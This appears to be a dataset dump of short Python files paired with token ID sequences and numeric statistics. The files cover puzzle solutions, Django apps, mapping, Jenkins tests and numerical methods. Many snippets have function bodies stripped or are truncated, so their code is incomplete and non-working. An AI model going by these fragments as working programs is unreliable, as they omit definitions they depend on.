1330,
3993,
198,
198,
11748,
7007,
198,
11748,
2124,
76,
2528,
375,
713,
198,
198,
2,
2638,
1378,
2503,
13,
14648,
30224,
13,
1073,
13,
2724,
14,
3064,
27137,
13,
31740,
198,
2,
3740,
1378,
36890,
... | 2.317987 | 934 |
"""
Problem 12
Highly divisible triangular number
"""
from utility.decorators import timeit, printit
from utility.math_f import sum_naturals_to_n, get_divisors
from math import ceil, sqrt
if __name__ == "__main__":
n = 500
run(n)
| [
37811,
198,
220,
220,
220,
20647,
1105,
198,
220,
220,
220,
38254,
2659,
12843,
46963,
1271,
198,
37811,
198,
198,
6738,
10361,
13,
12501,
273,
2024,
1330,
640,
270,
11,
3601,
270,
198,
6738,
10361,
13,
11018,
62,
69,
1330,
2160,
62,
... | 2.698925 | 93 |
# uninhm
# https://atcoder.jp/contests/abc183/tasks/abc183_d
# data structures, sorting
n, w = map(int, input().split())
needed = []
for _ in range(n):
s, t, p = map(int, input().split())
needed.append((s, p))
needed.append((t, -p))
needed.sort()
cum = 0
for i in range(len(needed)):
cum += needed[i]... | [
2,
26329,
23940,
198,
2,
3740,
1378,
265,
66,
12342,
13,
34523,
14,
3642,
3558,
14,
39305,
24839,
14,
83,
6791,
14,
39305,
24839,
62,
67,
198,
2,
1366,
8573,
11,
29407,
198,
198,
77,
11,
266,
796,
3975,
7,
600,
11,
5128,
22446,
... | 2.222749 | 211 |
#!/usr/bin/env python
import os
from slackclient import SlackClient
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
198,
11748,
28686,
198,
198,
6738,
30740,
16366,
1330,
36256,
11792,
628
] | 3.380952 | 21 |
#!/usr/bin/env python
# Idea taken from www.wavepot.com
import math
from AudioPython import *
from AudioPython.dsp import *
n = 44100 / 500
channels = ((sub(bass_osc(n), 0.3),),)
samples = compute_samples(channels)
write_wavefile("temp.wav", samples)
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
37560,
2077,
422,
7324,
13,
19204,
13059,
13,
785,
198,
198,
11748,
10688,
198,
198,
6738,
13491,
37906,
1330,
1635,
198,
6738,
13491,
37906,
13,
67,
2777,
1330,
1635,
628,
628,
198... | 2.774194 | 93 |
import frappe | [
11748,
5306,
27768
] | 4.333333 | 3 |
from django.urls import path , include
from . import views
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
path('', views.home,name='home'),
path('profile/', views.profile , name = 'profile'),
path('update_profile/',views.update_profile,name='update'),
... | [
6738,
42625,
14208,
13,
6371,
82,
1330,
3108,
837,
2291,
198,
6738,
764,
1330,
5009,
198,
6738,
42625,
14208,
13,
10414,
1330,
6460,
198,
6738,
42625,
14208,
13,
10414,
13,
6371,
82,
13,
12708,
1330,
9037,
628,
198,
6371,
33279,
82,
7... | 2.891496 | 341 |
from typing import List
from .tile import Tile
| [
6738,
19720,
1330,
7343,
198,
198,
6738,
764,
40927,
1330,
47870,
628,
198
] | 3.846154 | 13 |
import logging
import time
import blueforge.apis.telegram as tg
import requests
import urllib.parse
import json
from blueforge.apis.facebook import Message, ImageAttachment, QuickReply, QuickReplyTextItem, TemplateAttachment, \
GenericTemplate, Element, PostBackButton, ButtonTemplate, UrlButton
logger = logging.g... | [
11748,
18931,
198,
11748,
640,
198,
11748,
4171,
30293,
13,
499,
271,
13,
660,
30536,
355,
256,
70,
198,
11748,
7007,
198,
11748,
2956,
297,
571,
13,
29572,
198,
11748,
33918,
198,
198,
6738,
4171,
30293,
13,
499,
271,
13,
19024,
1330... | 3.147059 | 136 |
from django.db import models
from django.contrib.auth.models import User
from django.urls import reverse
# Create your models here.
| [
6738,
42625,
14208,
13,
9945,
1330,
4981,
198,
6738,
42625,
14208,
13,
3642,
822,
13,
18439,
13,
27530,
1330,
11787,
198,
6738,
42625,
14208,
13,
6371,
82,
1330,
9575,
198,
198,
2,
13610,
534,
4981,
994,
13,
198
] | 3.5 | 38 |
n = float(input("informe um medida em metros: "));
cm = n * 100
mm = n * 1000
print('A medida {}M correspondente a {}Cm e {}Mm'.format(n, cm, mm)) | [
77,
796,
12178,
7,
15414,
7203,
259,
687,
68,
23781,
1117,
3755,
795,
1138,
4951,
25,
366,
18125,
198,
198,
11215,
796,
220,
299,
1635,
1802,
198,
198,
3020,
796,
299,
1635,
8576,
198,
198,
4798,
10786,
32,
1117,
3755,
23884,
44,
22... | 2.435484 | 62 |
# -*- coding: utf-8 -*-
# (c) 2013 Bright Interactive Limited. All rights reserved.
# http://www.bright-interactive.com | info@bright-interactive.com
from import_descendants import import_descendants
import sys
this_module = sys.modules[__name__]
import_descendants(this_module, globals(), locals())
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
2,
357,
66,
8,
2211,
17558,
21365,
15302,
13,
1439,
2489,
10395,
13,
198,
2,
2638,
1378,
2503,
13,
29199,
12,
3849,
5275,
13,
785,
930,
7508,
31,
29199,
12,
3849,
52... | 3.271739 | 92 |
import pytest
from tempus_dominus import widgets
| [
11748,
12972,
9288,
198,
198,
6738,
20218,
385,
62,
3438,
35237,
1330,
40803,
628,
628,
628,
628
] | 3.352941 | 17 |
import folium
from folium import plugins
import numpy as np
import sqlite3 as sqlite
import os
import sys
import pandas as pd
#extract data from yelp DB and clean it:
DB_PATH = "/Users/selinerguncu/Desktop/PythonProjects/Fun Projects/Yelp/data/yelpCleanDB.sqlite"
conn = sqlite.connect(DB_PATH)
##################... | [
11748,
5955,
1505,
198,
6738,
5955,
1505,
1330,
20652,
198,
11748,
299,
32152,
355,
45941,
198,
198,
11748,
44161,
578,
18,
355,
44161,
578,
198,
11748,
28686,
198,
11748,
25064,
198,
198,
11748,
19798,
292,
355,
279,
67,
198,
198,
2,
... | 3.449541 | 436 |
from . import (
UpdateMethods, AuthMethods, DownloadMethods, DialogMethods,
ChatMethods, MessageMethods, UploadMethods, MessageParseMethods,
UserMethods
)
| [
6738,
764,
1330,
357,
198,
220,
220,
220,
10133,
46202,
11,
26828,
46202,
11,
10472,
46202,
11,
21269,
519,
46202,
11,
198,
220,
220,
220,
24101,
46202,
11,
16000,
46202,
11,
36803,
46202,
11,
16000,
10044,
325,
46202,
11,
198,
220,
2... | 3.5 | 48 |
import logging
from ruamel.yaml import YAML
from great_expectations.data_context.data_context.data_context import DataContext
logger = logging.getLogger(__name__)
yaml = YAML()
yaml.indent(mapping=2, sequence=4, offset=2)
yaml.default_flow_style = False
| [
11748,
18931,
198,
198,
6738,
7422,
17983,
13,
88,
43695,
1330,
575,
2390,
43,
198,
198,
6738,
1049,
62,
1069,
806,
602,
13,
7890,
62,
22866,
13,
7890,
62,
22866,
13,
7890,
62,
22866,
1330,
6060,
21947,
198,
198,
6404,
1362,
796,
18... | 2.804348 | 92 |
"""Rio-Cogeo Errors and Warnings."""
| [
37811,
49,
952,
12,
7222,
469,
78,
44225,
290,
39567,
654,
526,
15931,
628,
628,
198
] | 2.5625 | 16 |
import click
| [
11748,
3904,
628,
628,
628
] | 3.6 | 5 |
'''
Copyright (c) Alex Li 2003. All rights reserved.
'''
__version__ = '0.1'
__file__ = 'rmcompile.py'
import os, getopt, sys
EXTLIST = ['.ptlc', '.pyc']
usage = '''\nUsage: $python %s [OPTION] dir
Remove all .pyc and .ptlc files in the directory recursively.
Options:
-h, --help display thi... | [
7061,
6,
198,
15269,
357,
66,
8,
4422,
7455,
5816,
13,
220,
1439,
2489,
10395,
13,
198,
7061,
6,
198,
198,
834,
9641,
834,
796,
705,
15,
13,
16,
6,
198,
834,
7753,
834,
796,
705,
26224,
5589,
576,
13,
9078,
6,
628,
198,
11748,
... | 2.378698 | 169 |
import json
import os
from urllib.request import Request, urlopen
OPSGENIE_KEY = os.getenv("OPSGENIE_KEY", None)
| [
11748,
33918,
198,
11748,
28686,
198,
6738,
2956,
297,
571,
13,
25927,
1330,
19390,
11,
19016,
9654,
198,
198,
30737,
35353,
10008,
62,
20373,
796,
28686,
13,
1136,
24330,
7203,
30737,
35353,
10008,
62,
20373,
1600,
6045,
8,
628,
198
] | 2.9 | 40 |
# Generated by Django 3.1.1 on 2020-10-07 20:20
from django.db import migrations
| [
2,
2980,
515,
416,
37770,
513,
13,
16,
13,
16,
319,
12131,
12,
940,
12,
2998,
1160,
25,
1238,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
628
] | 2.766667 | 30 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sat Dec 8 15:15:29 2018
@author: tatvam
importing the libraries
"""
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# import the dataset
dataset = pd.read_csv("Data.csv")
X = dataset.iloc[:, :-1].values
Y = dataset.iloc[:, 3].value... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
37811,
198,
41972,
319,
7031,
4280,
220,
807,
1315,
25,
1314,
25,
1959,
2864,
198,
198,
31,
9800,
25,
256,
265,
... | 2.677043 | 257 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
from distutils.dir_util import copy_tree
from kombu.utils.objects import cached_property
import qiniu_ufop
from ..base import BaseCommand
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
6738,
11593,
37443,
834,
1330,
28000,
1098,
62,
17201,
874,
198,
198,
11748,
28686,
198,
6738,
1233,
26791,
13,
15908,
62,
22602,
1330,
4866,
62,
21048,
198,
198,
6738,
... | 3.042254 | 71 |
import pytest
from jenkinsapi.jenkins import Jenkins
from jenkinsapi.nodes import Nodes
from jenkinsapi.node import Node
DATA0 = {
'assignedLabels': [{}],
'description': None,
'jobs': [],
'mode': 'NORMAL',
'nodeDescription': 'the master Jenkins node',
'nodeName': '',
'numExecutors': 2,
... | [
11748,
12972,
9288,
198,
6738,
474,
268,
5331,
15042,
13,
48796,
5331,
1330,
21835,
198,
6738,
474,
268,
5331,
15042,
13,
77,
4147,
1330,
399,
4147,
198,
6738,
474,
268,
5331,
15042,
13,
17440,
1330,
19081,
628,
198,
26947,
15,
796,
1... | 1.907264 | 3,483 |
from messages.SessionMessage import SessionMessage
from msg_codes import CLIENT_GET_CLOUD_HOST_RESPONSE as CLIENT_GET_CLOUD_HOST_RESPONSE
__author__ = 'Mike'
| [
6738,
6218,
13,
36044,
12837,
1330,
23575,
12837,
198,
6738,
31456,
62,
40148,
1330,
45148,
62,
18851,
62,
5097,
2606,
35,
62,
39,
10892,
62,
19535,
47,
1340,
5188,
355,
45148,
62,
18851,
62,
5097,
2606,
35,
62,
39,
10892,
62,
19535,
... | 2.944444 | 54 |
"""
PSEUDOCODE:
Load csv to pandas
csv will be of form: city, event type, event name, year, theme_A, theme_B, theme_C...
City can contain multiple cities, separated by TBD?
Check min and max year
Open figure,
Deal with events in same year, offset a little bit?
For city in cities:tle
for event in events
"""
impor... | [
37811,
198,
3705,
36,
8322,
4503,
16820,
25,
198,
198,
8912,
269,
21370,
284,
19798,
292,
198,
40664,
481,
307,
286,
1296,
25,
1748,
11,
1785,
2099,
11,
1785,
1438,
11,
614,
11,
7505,
62,
32,
11,
7505,
62,
33,
11,
7505,
62,
34,
... | 2.312795 | 3,181 |
from eth.db.atomic import AtomicDB
from eth.db.backends.level import LevelDB
from eth.db.account import AccountDB
from rlp.sedes import big_endian_int
from bevm.block import Block
from bevm.action import rlp_decode_action
ACTION_COUNT = b'BEVM:ACTION_COUNT'
| [
6738,
4555,
13,
9945,
13,
47116,
1330,
28976,
11012,
198,
6738,
4555,
13,
9945,
13,
1891,
2412,
13,
5715,
1330,
5684,
11012,
198,
6738,
4555,
13,
9945,
13,
23317,
1330,
10781,
11012,
198,
6738,
374,
34431,
13,
36622,
274,
1330,
1263,
... | 3.011494 | 87 |
import dateutil.parser as dp
from dateutil.relativedelta import relativedelta
import pandas as pd, datetime as dt
def checkLatestAnomaly(df, operationCheckStr):
"""
Looks up latest anomaly in dataframe
"""
anomalies = df[df["anomaly"] == 15]
if anomalies.shape[0] > 0:
lastAnomalyRow = anom... | [
11748,
3128,
22602,
13,
48610,
355,
288,
79,
198,
6738,
3128,
22602,
13,
2411,
265,
1572,
12514,
1330,
48993,
1572,
12514,
198,
11748,
19798,
292,
355,
279,
67,
11,
4818,
8079,
355,
288,
83,
628,
198,
4299,
2198,
39478,
2025,
24335,
7... | 2.269557 | 1,061 |
list = []
while True:
number = 0.0
input_num = input('Enter a number: ')
if input_num == 'done':
break
try:
number = float(input_num)
except:
print('Invalid input')
quit()
list.append(input_num)
if list:
print('Maximum: ', max(list) or None)
print('Minimum... | [
4868,
796,
17635,
198,
4514,
6407,
25,
198,
220,
220,
220,
1271,
796,
657,
13,
15,
198,
220,
220,
220,
5128,
62,
22510,
796,
5128,
10786,
17469,
257,
1271,
25,
705,
8,
198,
220,
220,
220,
611,
5128,
62,
22510,
6624,
705,
28060,
10... | 2.256579 | 152 |
MONO = "FiraMono-Medium"
PORT = 9999
ISSUES = "https://github.com/math2001/nine43/issues"
| [
27857,
46,
796,
366,
37,
8704,
9069,
78,
12,
31205,
1,
198,
15490,
796,
860,
17032,
198,
198,
1797,
12564,
1546,
796,
366,
5450,
1378,
12567,
13,
785,
14,
11018,
14585,
14,
30888,
3559,
14,
37165,
1,
198
] | 2.394737 | 38 |
import sys
PY2 = sys.version_info[0] == 2
if PY2:
from .zipencrypt2 import ZipFile
from zipfile import BadZipfile, error, ZIP_STORED, ZIP_DEFLATED, \
is_zipfile, ZipInfo, PyZipFile, LargeZipFile
__all__ = ["BadZipfile", "error", "ZIP_STORED", "ZIP_DEFLATED",
"is_zipfile", "ZipInfo",... | [
11748,
25064,
198,
198,
47,
56,
17,
796,
25064,
13,
9641,
62,
10951,
58,
15,
60,
6624,
362,
198,
198,
361,
350,
56,
17,
25,
198,
220,
220,
220,
422,
764,
13344,
12685,
6012,
17,
1330,
38636,
8979,
198,
220,
220,
220,
422,
19974,
... | 2.326923 | 208 |
from . import tools | [
6738,
764,
1330,
4899
] | 4.75 | 4 |
from .rawdata import RawData
from .timedata import TimeData
from .voltdata import VoltData
__all__ = ["RawData", "TimeData", "VoltData"]
| [
6738,
764,
1831,
7890,
1330,
16089,
6601,
198,
6738,
764,
16514,
276,
1045,
1330,
3862,
6601,
198,
6738,
764,
37764,
7890,
1330,
22702,
6601,
198,
198,
834,
439,
834,
796,
14631,
27369,
6601,
1600,
366,
7575,
6601,
1600,
366,
53,
5978,
... | 3.136364 | 44 |
"""
Sketch (similar to Coarse-to-Fine)
- keep Python keywords as is
- strip off arguments and variable names
- substitute tokens with types: `NUMBER`, `STRING`
- specialize `NAME` token:
- for functions: `FUNC#<num_args>`
# Examples
x = 1 if True else 0
NAME = NUMBER if True else NUMBER
result = SomeFunc(1,... | [
37811,
198,
50,
7126,
354,
357,
38610,
284,
1766,
17208,
12,
1462,
12,
34389,
8,
198,
198,
12,
1394,
11361,
26286,
355,
318,
198,
12,
10283,
572,
7159,
290,
7885,
3891,
198,
220,
220,
220,
532,
15373,
16326,
351,
3858,
25,
4600,
413... | 2.662162 | 444 |
import pytest
from LPBv2.common import (
InventoryItem,
PlayerInfo,
PlayerScore,
PlayerStats,
TeamMember,
MinimapZone,
merge_dicts,
)
from LPBv2.game import Player
update_data = {
"abilities": {
"E": {
"abilityLevel": 0,
"displayName": "\u9b42\u306e\u8a6... | [
11748,
12972,
9288,
198,
6738,
18470,
33,
85,
17,
13,
11321,
1330,
357,
198,
220,
220,
220,
35772,
7449,
11,
198,
220,
220,
220,
7853,
12360,
11,
198,
220,
220,
220,
7853,
26595,
11,
198,
220,
220,
220,
7853,
29668,
11,
198,
220,
... | 1.820398 | 3,363 |
# cookbook/ingredients/schema.py
import graphene
from graphene_django_extras import DjangoObjectField, DjangoFilterPaginateListField, LimitOffsetGraphqlPagination
from .types import UserType
from .mutations import UserSerializerMutation
from .subscriptions import UserSubscription
| [
2,
4255,
2070,
14,
278,
23320,
14,
15952,
2611,
13,
9078,
198,
11748,
42463,
198,
6738,
42463,
62,
28241,
14208,
62,
2302,
8847,
1330,
37770,
10267,
15878,
11,
37770,
22417,
47,
363,
4559,
8053,
15878,
11,
27272,
34519,
37065,
13976,
47... | 3.851351 | 74 |
import os
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask.logging import default_handler
from flask_request_id_header.middleware import RequestID
from app.resources.encoders import CustomJSONEncoder
from app.resources.logger import formatter
from flask_jwt import JWT
db = SQLAlchemy()
| [
11748,
28686,
198,
6738,
42903,
1330,
46947,
198,
6738,
42903,
62,
25410,
282,
26599,
1330,
16363,
2348,
26599,
198,
6738,
42903,
13,
6404,
2667,
1330,
4277,
62,
30281,
198,
6738,
42903,
62,
25927,
62,
312,
62,
25677,
13,
27171,
1574,
1... | 3.662791 | 86 |
import unittest
import tempfile
import os
import yaml
import types
from hier_config import HConfig
from hier_config.host import Host
if __name__ == "__main__":
unittest.main(failfast=True)
| [
11748,
555,
715,
395,
198,
11748,
20218,
7753,
198,
11748,
28686,
198,
11748,
331,
43695,
198,
11748,
3858,
198,
198,
6738,
13550,
62,
11250,
1330,
367,
16934,
198,
6738,
13550,
62,
11250,
13,
4774,
1330,
14504,
628,
198,
361,
11593,
36... | 3.0625 | 64 |
"""Gauss-Legendre collocation methods for port-Hamiltonian systems"""
import sympy
import numpy
import math
from newton import newton_raphson, DidNotConvergeError
from symbolic import eval_expr
def butcher(s):
"""Compute the Butcher tableau for a Gauss-Legendre collocation method.
Parameters
----------... | [
37811,
35389,
1046,
12,
21351,
260,
2927,
5040,
5050,
329,
2493,
12,
45405,
666,
3341,
37811,
198,
198,
11748,
10558,
88,
198,
11748,
299,
32152,
198,
11748,
10688,
198,
198,
6738,
649,
1122,
1330,
649,
1122,
62,
1470,
1559,
11,
7731,
... | 2.224912 | 3,139 |
from sql_app.repositories.movie_repository import MovieRepo
from feedgenerator import RssFeed
from sqlalchemy.orm import Session
| [
6738,
44161,
62,
1324,
13,
260,
1930,
270,
1749,
13,
41364,
62,
260,
1930,
37765,
1330,
15875,
6207,
78,
198,
6738,
3745,
8612,
1352,
1330,
371,
824,
18332,
198,
6738,
44161,
282,
26599,
13,
579,
1330,
23575,
628
] | 3.421053 | 38 |
from opentera.db.Base import db, BaseModel
| [
6738,
1034,
298,
8607,
13,
9945,
13,
14881,
1330,
20613,
11,
7308,
17633,
628
] | 3.142857 | 14 |